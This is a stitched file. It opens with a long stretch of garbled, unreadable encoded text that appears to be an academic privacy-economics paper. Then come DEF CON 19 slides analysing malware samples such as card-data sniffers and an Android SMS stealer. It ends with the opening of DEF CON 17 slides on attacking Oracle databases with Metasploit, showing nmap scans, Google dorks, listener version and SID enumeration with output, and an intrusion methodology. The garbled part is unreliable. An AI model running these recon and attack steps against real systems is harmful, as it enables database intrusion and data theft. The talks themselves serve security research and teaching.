ê/ð%ßZåò/ïyö%ßvú2ãvåæñXïêç´îÁïyââáFéââ ïêVøFævì/û´ö%à\îÁä*ôCõ?ðïòßèméïyâïøåïyéí
áUàïämêVö%àXßòVä%àvê
ðæñvßNïí_í_ßöïæfê.ß¹å/ßïyä%ópàvå`ìdßíhßä}ê/òô¬
ó¨ê/ð%ßZå/ß÷ïòÎæ#ò/éöFö%ßäò/ð%àKì/ûê/ðFæfêÄì`ðævä%ãvßò
ê/ð%ß=áàvåê/ïàäàvóìdàäò/éFíhßZåò9îÁð%àCê.ßò.êZú2äàCìdàäFò/éíhßZåò¨æfå/ß_öFïå/ßìdê/âç¹æ
Ußìdê.ßö#æväö
ßäìdàé%åæfãvßö+ê.àùå/ßò/ê.àvå/ßê/ð%ßïö%ßævâ*áUàvå/ê/ïàä:ô§
'äFò.ê.ßævö*úFìdàíhásæväïßò?îïââUðæñvß=ò.àíhß
ïäìdßämê/ïñvßê.à=ö%ßZñKïæfê.ßvúKæväöùóQå/àí
ê/ðæfê)ìdàäò/éíhßZå`ò¶îÁïâyâðæñvߨïäìdßämê/ïñvß9ê.àößZñXïæfê.ß
æfãævïä*úFò/âàîÁâçÎàò/ìZïââyæfê/ïä%ã=àäìdßVíhàvåßVæfå/àéäöCê/ðßßèméFïâïøå`ïéí
áUàïämêZô
51õ?ð%ß9ßèméïyâïøåïyéíáàïyä}ê)í_æçÎìðævä%ãvßvôõ?ð%ß9ïä}ê.ßZå`ä%ßZêßämñKïå/àäíhßämê)ïòòéìð
ê/ðæfêøUßä%ßsê/ò¶óQå/àí
áFéåìðævò/ßòZú}øUßä%ßFê/òIópàvå)ìdàäò/éFíhßZåïäópàvåíùæfê/ïàä*ú}æväöÎò/ïãäævâë
ïä%ãùæväö¹ê.ßò.ê/ïä%ãÄìdàò.ê/òíùæç¹ìðFævä%ãvßvôDiéê?ßZñvßä+ïó0ê/ð%ßZç¹æfåßVævââ:åßâæfê/ïñvßâçCò.ê/æfê/ïìfú
'äùáFæfå/ê/ïìZéâyæfåú ÐQÑìZæväÎøUß?ñXïßZîßöÎævòæväùßäö%àvãvßä%àéòñfæfåïæføFâß-ê/ðFæfêïòö%ßZáUßäö%ßämê
àäÎåßò.áUßìdê.óQéâ%Fåíùò¶ê.å/çKïä%ãê.à=âàîßZåê/ðß9ìdàò.ê)àvó:ê.ßò/ê/ïä%ãt-Qê/ð%ßZç_áå/ßò/ßä}êÐÚä[1`ú%æväö
ä%àäKëò/ïãäFævâïä%ãFåí_òîÁðà5îævämê¶ê.àí_æfûvß?ê.ßò/ê/ïä%ãæ5ðævò/òâß)ê.àVìdàäò/éí_ßZåòºømçî?åïêÇë
ïä%ãháFé%åáàò/ßZóQéâyâç=àvøê/éò.ßáUàâïyìZïßò-Qê/ð%ßZçCáå/ßò.ßämêlÐå1`ô
ïäìdߨîßVðæñvß
ÐÑ&¡
Ð
ä
¬-
w
1ÇÐå
ê/ð%ßhævìdê/éævâßèméFïâïøå`ïéíáUàïämêÁóQàvå9áNïò9æ
Ußìdê.ßöNømçvú*æväö÷ì`ðævä%ãvßò¨îÁïê/ð:úsê/ð%ß
öïCUßZå/ßä}êFå`í_òVàéêê/ðßZå/ßvô
'
òhíhàvå/ßÓä%àäKëÒå/ßò/áßìdê.ó
éâKFåí_òßämê.ßZå_ê/ð%ßÓí_æfå/ûvßZêZú
ê/ð%ßZçåævïò.ßÓê/ðß+ìdàò.êÎàvóÐQÑú-ì`ðævä%ãïä%ã#ê/ð%ß+ïäFìdßä}ê/ïñvßòùópàvåÄìdàäò/éí_ßZåòZú)ò.à´ê/ðæfê
ê/ð%ßZç+æfå/ß=âßò/ò9âïûvßâçÓê.àÄøUàvê/ð%ßZå9ê.ßò.ê/ïäã%ô¨õÁðïòÁævò/áßìdê¨å/ßöFéìdßòÁßZñvßä÷ó
é%å/ê/ðßZåê/ð%ß
ßßìdê/ïñvßäßò/òÁàvóáUàò/ò/ïøsâßåßöéìdê/ïàäò-ïyäÓõÓ-
âïûvß5ê/ð%ßVÞ=5fÞøFïåö(1`ú%ò/ïäìdß5ö%ßZóQßìdê/ïä%ã
Fåí_òìZæväùóQàïâsê/ðæfêømç_ä%àvê)ævöð%ßZå`ïä%ãê.àê/ð%àò.ߨïíháåàñvßíhßämê/òZú%æväöÄïä_ó
ævìdê-í_æfû}ë
ïä%ãhê/ð%ßí
íhàvå/ßVöïÎìZéâêZô
'
SÇàä%ßdëæfå`íhßö
øsæväöïêVUhæfááFå/àævìð
ê.àpsäöïyä%ãhæeFåí_ò
ê.åé%ßÁê.ßò/ê/ïä%ãVìdàò.êìdàéâöÎævâò.àãvå/ßæfê/âç_ìðævä%ãvß9ê/ð%ßÁâyæväöò/ìZæfáUßvôAiçhãvå`ævöéævââçßò.ê/ïÅë
í_æfê/ïä%ã_ê/ðßVìdàò.êÁæväö
áUàò/ò/ïøFâß9ò/ïãäævâUê/ðæfêæpFåíïò?ò/ßäöïä%ã%úò/àíhßVïämê.ßZå/ßò.ê/ïäã
ö%çXäFæví_ïìZò-í_ïãðmê?æ
UßìdêÁê/ð%ßVéê/ïâïêçùáå/ßöFïìdê/ïàäò
/Òô
õ?ð%ßò.ߨå/ßævò/àäò)ò/é%ãvãvßò.ê-ä%ßZîöïåßìdê/ïàäòïó*àä%ߨîævämê/ò)ê.àhævìðïßZñvߨæväCßÄìZïßä}ê
æväöÄå/ßâïæføFâßÁí_æfå/ûvßZê.áFâyævìdßvô
ïíhásâçíùæfûXïäãìdàäò/éFíhßZåò)íhàvå/ߨæî)æfå/ß5àvó:ê/ð%ߨìdàò.ê
àvó áåïñfævìdçÎñKïàâæfê/ïàä*úàvå9ê.å/çXïyä%ãhê.àÎö%ßìdåßævò.ßê/ðßVìdàò.ê9àvóê.ßò/ê/ïä%ãE-QñKïæháFå/àvãvåæví_ò
âïûvßÁê/ðßÞ5fÞ8øFïåö(1ìZævää%àvê)í_æfûvߨæväÎæføsò.àâé%ê.ßâç=ßÎìZïßä}êí_æfå/ûvßZêZôIõ?ðßZç=ìZævä:úXïä
ê/ð%ßhâàä%ãÄê.ßZåíÓú*å/ßöéFìdßê/ðßå`æfê/ïàò9àvóIê.ßò.ê/ïäãCìdàäFò/éíhßZåò¨æväöå/ßò/áßìdê.ó
éâ6Fåí_òú
øFé%êÁàäFâçCê/ðæfêZôͶñvßäãvå/àéáFïä%ã_ævââ Fåí_òéäö%ßZåàä%ßVê.å`éò.ê.ßöïä}ê.ßZå`íhßöïæfå/çCðævò
ö%åæîÁøFævì/ûKòZúXøßìZævéFò.ßÁævòò.àmàäÎævòIævââFìdàäò/éíhßZå`ò¶ê.åéò/ê¶ê/ðæfêïyä}ê.ßZåí_ßöïæfå/çæväöùä%à
âàä%ãvßZåVê.ßò/êïêZúºïêVðævòVßZñvßZå/ç´ïäìdßämê/ïñvß_ê.àæføFéò.ßÎïê/òå/ßò/àé%åìdßòZúê/ðïò5ê/ïyíhß_îÁïê/ð
ìdàíháFâßZê.ßùíùæfå/ûvßZêáUàîßZåú2í_æfûKïä%ãCßZñvßäkæväNß@Kævìdêí_ïC@KßöKëò.ê.åæfê.ßZãvç÷ßèXéïâïøFåïéí
éäâïûvßâçvôõ0åævöïê/ïàäævâsïyäìdå/ßíhßämê/ævâUæväöCïäöïñKïöéFævâÅëæfãvßä}êIøFævò.ßöÓæfááåàævìð%ßò-ævââ
ðæñvß=ê.å/àé%øsâßòÁîð%ßä
ïó ê/ðßVãvàævâ ïòÁê.àÄáFå/àvê.ßìdêê/ðßßämê/ïå/ßí_æfå/ûvßZê¨îÁïê/ð
å/ßZãæfåöò
ê.à_áåïñfævìdçvô
'äFò.ê.ßævö*úFàéåÁíhàKö%ßâ:ò/é%ãvãvßò/ê/ò?ê/ðæfê?àäßä%ßZßöò?ê.àùáå/à\ñXïyö%ß&Fåí_ò)îïê/ð¹öïåßìdê
ïäìdßämê/ïñvßòhê.àNå/ßò.áUßìdê=áUßZåò.àäævâ)ïäópàvåíùæfê/ïàä*ô#ÞßZåí_æväßä}ê_æväö
ßäópàvåìdßöâyæîÁò
æfãævïäò.ê=ìdßZå/ê/ævïä8éò.ßòàvóÁò/éì`ðkïyä%ópàvå`í_æfê/ïàä*ú0àvå=æføsò.àâé%ê.ßÎå/ßöéìdê/ïàäFòàvóÁõ
ê.àE*
-
ò/éìð=ævò0ømç5ê/ðßãvà\ñvßZåäíhßämêºê/æfûXïäãÁàäê/ð%ßIê.ßò/ê/ïä%ãïê/ò.ßâó1*æfåßê/ð%ßàäâçíhßZê/ðàXöò
æfêùê/ð%ß
í_àíhßä}êÎê/ðæfêÎìZævä
åævïò.ß
á
æväö
è8ê.à
ïäækò.ê/æføFâß¹ò.àâyé%ê/ïàä*ô¯é%ê/é%å/ß
å/ßò.ßæfåì`ðNìdàéâöópàKìZéòàä÷îÁð%ßZê/ð%ßZå9ê/ð%ßò.ßhìdàäìZâyéò/ïàäò9æfå/ß=áå/ßò/ßZå/ñvßö
ßZñvßä#æfópê.ßZå
ævé%ãíhßämê/ïä%ã_àé%åíhàXößâUê.à_øUßíhàvå/ß5å/àvøFéFò.êZô
ÿ
æ
ç
Ü6PVÖ=ÙKèxJVH¶Úp)déHIÖ¨×a
$Nß?ê/ðævä%ûÞ¶å/àvóQßò/ò.àvå:ÍIö2ê5âæfßò.ßZå¶æväöhÞIå/àvópßòò.àvå¶ýÁïì`ðæfåö?ÀßìûXðævéFò.ßZå ópàvå¶ævöñXïìdß
æväö_ò/é%ãvãvßò/ê/ïàäò¶àäÎöïå/ßìdê/ïàäòºàvóUå/ßò.ßæfåì`ð*ôA$Nßævâò.àVê/ðævä%û
ê/éæfå/ê
ìð%ßìdê.ßZåópàvå
ð%ßâáó
éâUöïò/ìZéFò/ò/ïàäòô
GIH§ë4H¶ØQHIÖ=Ü:HKa
eê9ßZàvå/ãvß
'
ô
'
ì/ûvßZå`ð%àvóô9õ?ð%ßVíùæfå/ûvßZê¨ópàvå¨âßíhàäò4Dì¨éFævâïêçÓéäFìdßZå/ê/ævïämêç
æväö
ê/ð%ßCí_æfå/ûvßZê=íhßìðFæväïò/íÓô¾ílî½ ï[ÅÇÆhïñðYò¿óî¿ï[(DóôeõöMóó÷eqöh`ú áFæfãvßò/, ø
3
* *Kú
'
é%ãéò/ê
þ7
*Kô
ÿ
'
âßò/ò/æväöå/à
'
ìZèXéïò.ê/ïxô
ÞIå/àvê.ßìdê/ïä%ãáFåïñfævìdçîÁïê/ð
ßìdàä%àí_ïyìZòhgÍìdàä%àí_ïì
ïäìdßämê/ïñvßòópàvåáå/ßZñvßämê/ïñvßÁê.ßì`ðä%àâàvãïßòïyä_é%øFïèXéïê.àéFò ìdàíháFé%ê/ïäãßä}ñKïå/àä%ë
íhßämê/òZô
'ä¾ù.óïúûÜóüYómýó4öhj0ðþ×Èôóï[÷2ÆVÿÆ móôlï[öhðþVƽûÜ (öh0µ
ýóñî½Åqqó ½XÅ0û
%ÅÇÆhï(Åqqó
:óôhÆhïoÆh(öÆÞó
hî¿0Ųó îµ:ó÷ü(î½Åq0µ
! \ú
ßZáê.ßíøUßZå
ÿ* *ÿXô
"$#%#'&(*)+)',.-0/1325476.1+896$:+6.;2<6+=.->)
&917/?$@>A;'B>C.1+8ED!"7C&GF+H+H$F+)&7@&76.1GDI)+@>AJ.-0/%DK#G/.L+-+4E/+AICKM9&GL9H+N+O9LQPKN$L>H$FR25&>='Ssô
5
'
õ¼5õô¶Þ5aá
áFåïñfævìdçùøFïå`ö*ô"9#%#.&T(U)%)IB+B%B25&917/?$@>A;.4E/1$=32VA.CKM:ô
/
'
ô
"
ôÜiéåä%ßZê/ævòIæväFö?Ä#ô
"
ô'WVæfê.ßðæfûXïyòZô
'
ò.çKíháê.àvê/ïì?øFæçvßòæväævâçKò/ïòºóQàvåIê/ð%ß
säïê.ßð%àvå`ïüZàäàä%ß-æfåíhßöøFæväöïê2áå/àvøsâßíÓô>lïoó'V'hÈñqÅqð>0BÅ0û¿Æ=õlÜ 0ÆMÆhï0µ
(ÿX
ôóï[÷? Åqjó(Úýöh²ÆöÆ[núsÿ* *ÿXôIê.àÎæfááUßæfåô
3
eê¨ïævìdàí_àT)ævâüZàâæfåï¶æväö
'
âßò/ò/æväö%åà
Þºæñfævä*ôE9áê/ïyí_ævâ¶ö%ßò/ïãäNàvó-áåïñfævìdç
áUàâïìZïßòôY"9#%#.&T(U)%)'S%@>AZ-G:.#+;2[$B+-2U6'=.-G)IS$@9AK->:.#+;9)&7@'?%@$)+\I]+^%^32&9=%Ssô
Ï%ßö%ßZå`ævâõ0åævö%ßg)àí_í_ïò/òïàä*ô
ÞIåïñfævìdç
àäFâïä%ß Fævïå+ïäópàvåíùæfê/ïàäáåævìnë
ê/ïìdßòCïä
ê/ð%ßßâßìdê.å/àäïìí_æfå/ûvßZê.ásâævìdßvô_"$#%#.&T(*)+)IB+B%B2`S+#7AR2<,%C'?9).196&7C.1%#0D)
&917/?$@>A;9F+H+H%H$)&917/?9@9A;9F+H%H+Ha2&9=+Ssúÿ* * *Kô
7ÏÍIÞK
o¨ô¶Þ¶å/ßZê.êçÄáUàXàvå?áåïñaævìdçvôb"9#+#'&T(U)%)B%B%B2U6&E/%Ac2UC.1$,sú
þvþvþXô
eßämê.ßZåÓópàvåmn9ßíhàKìdåævìdç
æväöõ0ßìðä%àâàvãvçvô
é%åñvßZçXòCí_ævïä
áFæfãvßvôd"$#%#.&T(
)%)B%B+B2A=+#32UC'1%,9)&91G/?9@9A;>).,.-0/=%6$)9/![9#+1$C'=.-0A#7/.CI[>)>D!-$1+?96.;7/Z[>S$C25"$#M0:ú
ÿ* *ÿXô
þfeßæfê/ð%ßZåê¨å/ßZßä*ú(Äïûvß>åæväìdßvúÄ+æfåìZïyæ
ê.ßZáFæväßZûsúFæväFö
'
íVçtiàvå/åéòôl¨é%å
óQàé%å.ëÒáUàïämêásâævä*ôîµ[ÈÆ[M.ùEÆMÆ[úglXñ0Ædú%Äæfåì`ð+ÿ* * *Kô
5
*
Ï$
ïââïæví¢ô
'
ö%ûKïäò/àäghvåúGhßåßZç
'
ô%Íïò.ßäævì`ð*úsæväö
õ?ð%àí_ævòÄ#ôÁ:ßäæfåö:ô
Þ¶å`ïñaævìdç
àäâïä%ß
'
å/ßZáUàvå/ê
àä
ê/ð%ß
ïä%óQàvåí_æfê/ïàä
áåævìdê/ïyìdßòæväö
áàâyïÅë
ìZïßòCàvó=ìdàí_íhßZåìZïyævâîßZø6ò/ïê.ßòôd"9#+#'&(*)%)B%B+B25&9S%Sa2UC'1%,9)&%-%47:9/'A.@.#7/ICI[QD)
&917/?$@>A;$CI[7:9/K[>6+S>/K[7@%:+@+6$:2&>=+SFú}ÿ* *ÿXô
iåïævä¬Äì$
ïyââïæví_òô
ý?ßævâ5ä%ßZêîàvå/ûKò
ðFïêÎîïê/ð
áåïñfævìdç
âæîÁò/éïêZôd"$#%#.&T(
)%)B%B+B2/Z[9#$6'1'[>6'#.[76.B0Dc2VA.CM0)4+-EDIL%[>6IB0D.)+@I1%#7/%AI:+62&+"%&G).i0PKjGPk%l+F'm%nGPKoGP}ô
ÿn¨ïßZåö%åß>Ä+éFââïãævä*ú
'
ääT)æñvàé%ûXïyævä*ú
'
åï
ìðmîæfåê.üvúUæväFö.Äïìðæfßâ:ê¨é%å`ò.ûXïÒô
Þ5aá¹æväFöCáåïñfævìdç(
'
äÓé%á*öæfê.ß9ópàvå-ê/ð%ß5áFåïñfævìdçùìdàí_íéäïêçvôY"9#%#.&T(U)%)IB+B%B2
AI='#2<C'1$,$)&$1G/?$@>A;>)&>6'#9)&7m&%&$17/?9@>AK;>)9D!"$#IM0:%ú}ÿ* * *Kô
5ÞºævéâKý?ßò/äFïì/ûúýÁïì`ðæfåöpÀßì/ûKðævéò/ßZåú'hvàðä
î)æväò.àä*úæväFöfWæfê.ßÁ2àXìûmîàXàXö*ô
õ?ð%ßÄñfævâé%ßÄàvó?å/ßZáFé%ê/æfê/ïàäkàä8ßZøFæç(
'
ìdàämê.å/àââßö8ß@KáUßZåïíhßämêZôp"$#%#.&T(*)+)
B%B+B2D+/R2-'MQ/%AK"2U6'=.-G)>q!&$1967D![E/+AK8>)&7@&76.1GDI)&>C>DK#GA.@I1$=7DI)%ú}ÿ* *ÿXô
/Äïìðæfßâ
áßäFìdßvôbhvàvøÓí_æfåûvßZê?ò/ïãäævââyïä%ã%ôsr6û¿Æ2ílîXï[ÅÇÆhïñð?ò½óî¿ï6óôõöóþ
(ó÷ejönúFáFæfãvßò)5
3 3
ø¿7/%ú
þ75Xô
43
õ0åéò.êVÍÁô
õ0åéò/ê.ß4ò.ê/æfê/ïò/ê/ïìZòZô
"9#+#'&(*)%)B%B+B2`#+1'-ED#962UC.1$,9)4%-EDI)&%-%4>k
l4>C'#+#9CMt25"$#IME:%úKÿ* *5Xô
e9ævâQR¶æfåïævä*ô§Íìdàä%àí_ïì5ævò/áßìdê/ò?àvó0áUßZåò.àäFævâUáåïñfævìdçvôu"$#%#.&T(*)+)IB+B%B2D+/vMYDc2
476.1+896$:+6.;2<6+=.-7)7qv"7@$:+).^$@I&76.10DI)&$1G/?%@>A;9)%ú
þvþ Xô
7õ0àò/ðïà>ÃIæví_æfãïìðFï*æväöÄævò/æfó
éí_ï(Ä+æfê/ò/éFöæKô6
Çíháå/à\ñXïyä%ãê/ð%ߨâßíhàäòí_æfå.ë
ûvßZê¶îÁïê/ðæ¨åßZáFé%ê/æfê/ïàä=ò.çKò.ê.ßíÓôFõ0ßìðFäïìZævâKå/ßZáUàvå/êZú»9äïñvßZåòïêçàvó0eàvûmûfævïö%à%ú
ÿ* *ÿXô
/ | pdf |
DEF CON 19
Malware Freakshow 3:
They're pwning er'body out there!
Nicholas J. Percoco & Jibran Ilyas
Copyright Trustwave 2011
Agenda
• Introduction
• Evolution of Malware
• Sample Analysis + Victim + Demo
• Sample SL2010-161 – Kameo (Grocery Store)
• Sample SL2011-014 – Memory Dumper (Bar)
• Sample SL2011-026 – Webcheck.dll (Work)
• Sample SL2011-039 – Android Malware (Phone)
• Conclusions
Copyright Trustwave 2011
Inspiration – “System Intruder”
“Well… There's malware on the interwebs. They're pwning all
your systems, snatching your data up. So hide your cards, hide
your docs, and hide your phone, 'cause they're pwning er'body
out there!” – Zero Cool
Copyright Trustwave 2011
Introduction – Who are these guys?
Nicholas J. Percoco (@c7five)
• Head of SpiderLabs at Trustwave
• Started my InfoSec career in the 90s
• 4th DEF CON talk (2 more this weekend – Droid & SSL)
• Primary author of Trustwave’s Global Security Report
Jibran Ilyas (@jibranilyas)
• Senior Forensic Investigator, Spiderlabs at Trustwave
• 9 Years of InfoSec Experience
• Speaker at several Global Security Conferences like Black
Hat, DEF CON, SecTor, Source Barcelona, etc.
• Masters degree from Northwestern University
Copyright Trustwave 2011
Introduction – Why give a “Freakshow”?
Exploits
are
commodi0es.
Malware
fuels
the
business
of
crime*.
*“They're pwning er'body out there!”
Copyright Trustwave 2011
Introduction – What’s this about?
This
the
3rd
Itera0on
of
this
Talk
•
2009
–
KeyLogger,
MemDumper,
Video
Poker,
Sniffer
•
2010
–
MemDumper,
Logon
Creden=als
Stealer,
Sniffer,
Client-‐Side
(PDF
Malware)
New
Targets
This
Year
-‐>
YOU
•
Your
Grocery
Store
•
Your
Favorite
Bar
•
Your
Work
•
Your
Smart
Phone
Copyright Trustwave 2011
Evolution of Malware - 2009
• Sloppy
malware
developers
• Just
“tes=ng
the
waters”
• No
covert
file
system
placement
• Noisy
output
files
• Easily
detected
using
“Task
Manager”
Copyright Trustwave 2011
Evolution of Malware - 2010
• Started
to
use
“tricky”
names
for
executable
• Located
in
“system”
folders
• Output
s=ll
mainly
in
plain-‐text
and
wriYen
to
disk
• Advanced
tools
can
easily
detect
them
• Automated
exfiltra=on
in
certain
instances
Copyright Trustwave 2011
Evolution of Malware - 2011
• Malware
developers
have
grown
up
• Completely
subver=ng
process
analysis
tools
• Many
instances
of
ZERO
data
storage
• When
data
is
stored
it
is
ENCRYPTED
• More
efficient
methods
resul=ng
in
small
footprint
• Automa=on
is
“everywhere
they
want
to
be”
Copyright Trustwave 2011
Evolution of Malware – Network Sniffers
Year
Notables
2009
• Obvious
filenames
• Output
was
plain
text
(.cap
extension)
• AYacker’s
FTP
creden=als
in
executable
2010
• Filenames
matched
Windows
system
files
• Output
compress
and
password
protected
• Nightly
auto-‐exfiltra=on
func=onality
appeared
2011
• No
output
on
disk
• Malware
u=lizes
buffers
(one
to
sniff,
one
to
export)
• Real-‐=me
data
exfiltra=on
• Encryp=on/Encoding
of
output
data
Copyright Trustwave 2011
Evolution of Malware – Memory Dumper
Year
Notables
2009
• Malware
kit
required
3
executable
files
• No
an=-‐forensics
capabili=es
• Plain
text
output
in
“system”
folders
2010
• Single
executable
• Kernel
rootkit
• Plain
text
output
in
“system
folders”
2011
• Return
of
3
executable
files,
but
output
file:
• Time
stomped
aeer
each
update
• Encrypted
Copyright Trustwave 2011
Evolution of Malware – Advanced Techniques
Malware
Landscape
Today
• An0-‐forensic
features
are
built
into
malware.
• Stolen
data
is
stored
encrypted
and
encryp=on
algorithms
are
gefng
advanced.
• Automated
Exfiltra0on
features
are
built
in
so
aYackers
don’t
have
to
keep
coming
back
to
get
the
data.
• Data
commonly
being
exported
on
port
80
which
is
usually
allowed
for
outbound
access
in
most
organiza=ons.
• Time
stomping
is
common.
• Malware
is
a
DLL
-‐
injected
into
cri=cal
processes
Copyright Trustwave 2011
Sample SL2010-161 – Kameo
Vitals
Code
Name:
Best
Suppor0ng
Actor
Filename:
Kameo.exe
File
Type:
PE
32-‐bit
Target
Plahorm:
Windows
Key
Features
•
Malware
has
minimal
file
and
registry
ac=vity.
•
Malware
sniffs
magne=c
stripe
data
of
credit
cards
and
puts
it
in
a
buffer
XYZ.
•
In
a
separate
thread,
malware
sends
the
data
in
buffer
XYZ
to
hacker
server
via
port
80.
•
Exported
data
is
encoded
to
defeat
monitoring
tools
•
There
is
no
storage
of
intercepted
data
on
disk
at
any=me.
Vic0m
Your
Grocery
Store
Copyright Trustwave 2011
Sample SL2010-161 – Kameo
Demo Demo Demo!
Copyright Trustwave 2011
Sample SL2011-014 – Memory Dumper
Vitals
Code
Name:
Son
of
Brain
Drain
Filename:
Winboot.exe
File
Type:
PE
32-‐bit
Target
Plahorm:
Windows
Key
Features
•
Malware
is
installed
as
Windows
service.
•
Winboot.exe
invokes
two
other
processes:
One
dumps
memory
of
processes,
other
parses
data.
•
Malware
executables
are
=me
stomped
to
OS
Install
=me.
• Output
file
is
=me
stomped
despite
regular
read/
writes.
•
Output
file
is
encrypted.
Vic=m
Your
Favorite
Bar
Copyright Trustwave 2011
Sample SL2011-014 – Memory Dumper
Demo Please!
Copyright Trustwave 2011
Sample SL2011-026 – Webcheck.dll
Vitals
Code
Name:
Napoleon's
Victory
Filename:
Webcheck.dll
File
Type:
Win32
DLL
Target
Plahorm:
Windows
Key
Features
•
10KB
DLL
gets
injected
into
explorer.exe
•
Malware
is
packed
so
strings
can’t
be
read.
•
Monitors
a
specific
process
and
records
data
processed
by
it
in
a
hidden
and
encrypted
file.
•
At
2am,
data
is
FTP’ed
to
aYacker’s
server.
•
Outgoing
file
is
encrypted
has
extension
of
zip
file
but
is
not
actually
a
zip
file.
Vic0m
Your
Work
Copyright Trustwave 2011
Sample SL2011-026 – Webcheck.dll
This Sh*t is Live
(Demo)
Copyright Trustwave 2011
Sample SL2011-039 – Android Malware
Vitals
Code
Name:
ZiTFO
(aka
Zitmo)
Filename:
zitmo.apk
File
Type:
Android
Package
Target
Plahorm:
Android
Key
Features
• Registers
an
intent
filter
looking
for
SMS_RECEIVED
events
• Sets
this
filter
with
a
priority
of
1000
(highest)
• Prevents
everything
else
from
seeing
SMS
messages
• Send
the
content
of
the
message
to
the
aYacker’s
website
• It
does
NOT
do
any
form
of
content
analysis
• AYackers
are
likely
collec=ng
a
lot
junk
texts
• It
ironically
appears
on
the
phone
as
a
package
by
Trusteer
called
“Rapport”
which
is
used
by
banks
to
specifically
prevent
this
type
of
SMS
intercep=on
aYack
Vic0m
You
Copyright Trustwave 2011
Sample SL2011-039 – Android Malware
Oh No3s!
(Android Demo)
Copyright Trustwave 2011
Conclusions
Windows Malware is All Grown Up
•
We have seen the same type of malware advance
over the last three years.
Mobile Malware is Just Taking it First Steps
•
This is a new, but interesting area where we will
likely see the most growth.
•
Attacks are PLENTY of targets
Where will be next year?
•
Predictions:
− iOS/Android Malware w/ Advanced Features
− Mobile DDoS and Spam Bots
− Malware Focused on Stealing Corporate Credentials
Copyright Trustwave 2011
Special Thanks
Eric Monti
Ryan Merritt
Sean Schulte
Zack Fasel
Zero Cool
Contact Us:
Nicholas J. Percoco / [email protected] / @c7five
Jibran Ilyas / [email protected] / @jibranilyas | pdf |
Attacking Oracle
with the
Metasploit Framework
defcon 17
Who Are We?
Chris Gates
<cg [@] metasploit.com>
What pays the bills
Pentester for
Security Blogger
http://carnal0wnage.attackresearch.com
Security Twit
Carnal0wnage
Want more?
Chris Gates + carnal0wnage + maltego
Who Are We?
Mario Ceballos
<mc [@] metasploit.com>
• What do I do?
Vulnerability Research/Exploit Development.
Metasploit Framework Developer.
Focus is on auxiliary and exploit modules.
Pentesting for some company.
Why Oracle?
Why the focus on Oracle?
Been on lots of pentests & seen lots of potential
targets.
The Oracle business model allows for free
downloads of products, but you pay for updates. The
result is tons of potential shells.
Privilege Escalation and data theft is pretty easy, but
shells are always better.
Why Oracle?
Why the focus on Oracle?
Some support is provided by the commercial attack
frameworks, but really don’t have much coverage for
non-memory corruption vulns.
Other tools that target Oracle.
Inguma
Orasploit (not public)
Pangolin (if you want to give your hard earned shell back to
.cn)
A few free commercial products focused on vulnerability
assessment rather than exploitation.
Current Metasploit Support
Some support for Oracle is already provided.
Exploit modules.
Handful of memory corruption modules that target earlier
versions of Oracle and some of if its other applications.
Auxiliary modules.
Handful of modules that assist in discovering the SID,
Identifying the version, sql injection, post exploitation, and
a ntlm stealer.
New Metasploit Support
Introduction of a TNS Mixin.
Handles a basic TNS packet structure.
"(CONNECT_DATA=(COMMAND=#{command}))”
Used for some of our auxiliary modules.
Used for our TNS exploits.
Introduction of a ORACLE Mixin.
Handles our direct database access.
Dependencies:
Oracle Instant Client.
ruby-dbi.
ruby-oci8.
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
Exposes a few methods.
connect()
Establishes a database handle.
disconnect()
Disconnect all database handles.
preprare_exec()
Prepares a statement then executes it.
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
Really makes things simple.
msf auxiliary(sql) > set SQL "select * from global_name"
SQL => select * from global_name
msf auxiliary(sql) > run
[*] Sending SQL...
[*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Oracle Attack Methodology
We need 4 things to connect to an Oracle DB.
IP.
Port.
Service Identifier (SID).
Username/Password.
Oracle Attack Methodology
Locate Oracle Systems.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Locate Oracle Systems
Nmap.
Information Disclosure Vulns.
Google.
Locate Oracle Systems
Nmap.
Look for common oracle ports 1521-1540,1158,5560
cg@attack:~$ nmap -sV 192.168.0.100 -p 1521
Interesting ports on 192.168.0.100:
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS Listener
Locate Oracle Systems
Google.
Google dorks to locate Oracle systems.
intitle:iSQL intitle:Release inurl:isqlplus intitle:10.1
inurl:pls/portal
"Index of" "Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
www.red-database-security.com/wp/google_oracle_hacking_us.pdf
Yahoo dorks? to locate Oracle systems.
intitle:iSQL intitle:Release inurl:isqlplus
inurl:pls/portal
“Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf
Locate Oracle Systems
Sometimes they come pre-0wned.
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via PL/SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Version.
tns_packet(“(CONNECT_DATA=(COMMAND=VERSION))”)
msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110
RHOSTS => 172.10.1.107-172.10.1.110
msf auxiliary(tnslsnr_version) > run
[*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production
[*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production
[*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production
[*] Auxiliary module execution completed
msf auxiliary(tnslsnr_version) > db_notes
[*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris:
Version 9.2.0.1.0 – Production
…
[*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32-
bit Windows: Version 10.2.0.1.0 - Production
msf auxiliary(tnslsnr_version) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Service Identifier (SID).
tns_packet(“(CONNECT_DATA=(COMMAND=STATUS))”)
By querying the TNS Listener directly, brute force for
default SID's or query other components that may
contain it.
msf auxiliary(sid_enum) > run
[*] Identified SID for 172.10.1.107: PLSExtProc
